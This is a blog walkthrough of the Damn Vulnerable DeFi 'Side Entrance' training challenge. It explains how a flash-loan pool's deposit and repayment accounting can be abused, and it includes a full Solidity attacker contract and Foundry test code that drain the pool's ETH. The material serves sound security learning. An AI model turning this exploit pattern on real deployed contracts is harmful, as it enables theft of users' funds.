Side Entrance | Damn Vulnerable DeFi #4 Walk-Through

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

Challenge #4 – Side Entrance

I’m hopping over to the foundry version of the challenges for these next few.
These are on nicolasgarcia214/damn-vulnerable-defi-foundry, shoutout to everyone who helped port these over.

Let’s take a look at the smart contract for this challenge.

The contract seems simple enough, a pool where you can deposit ETH, then withdraw that amount any time, plus offering free flash loans.

The withdraw function works by allowing the user to withdraw the amount of their balances.
The problem with that lies in the deposit function:

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

Which doesn’t do any sort of checks, it simply increments the balances with the amount sent.
Lastly onto the flashLoan function that will make this exploit possible:

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        if (balanceBefore < amount) revert NotEnoughETHInPool();

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore) {
            revert FlashLoanHasNotBeenPaidBack();
        }
    }

The top if statements check that there is enough ETH in the pool to make the loan.
The bottom if statement ensures the loan has been paid back.

The interesting line to us here is the bold line that calls the execute() function, on the msg.sender address.

We need to make a contract with functions built to call for a flashLoan, deposit the ETH we borrow into the pool which increases our balance and sets the contract balance back to where it’s supposed to be, flashLoan checks pass and it completes, then we are free to withdraw the ETH.

This contract is gonna be added to the top of our test file.

contract SideAttack {
    using Address for address payable;

    SideEntranceLenderPool pool;
    address owner;

    constructor(SideEntranceLenderPool _pool) {
        owner = msg.sender;
        pool = _pool;
    }
    function execute() external payable {

        // execute function deposits the ETH back into the pool
        pool.deposit{value: msg.value}();
    }
    function flashCall() external {
        // call for max flashloan
        uint256 poolBalance = address(pool).balance;
        pool.flashLoan(poolBalance);

        // once flashloan has cleared, withdraw balance and send to attacker
        pool.withdraw();
        payable(owner).sendValue(address(this).balance);
    }
    receive() external payable {
        // necessary to have a receive function for the flashloan, no code just external and payable
}
}

Check the comments in the code above for some insight into our functions.

Next let’s write the exploit excerpt, find the testExploit function:

        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        SideAttack sideattack = new SideAttack(sideEntranceLenderPool);
        sideattack.flashCall();
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */

Line by line, we start with vm.startPrank(attacker); which is standard for forge to set our attacking address.
Next we initialize our SideAttack contract with the pool address.
All that’s left to do is call the flashCall() function and let the magic happen.

If you’ve been following along your test contract should like something like this:

Now let’s run our test with make and make sure we’ve passed.

Congratulations, that’s it for this one. We’ve used the side entrance.

DAVE

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top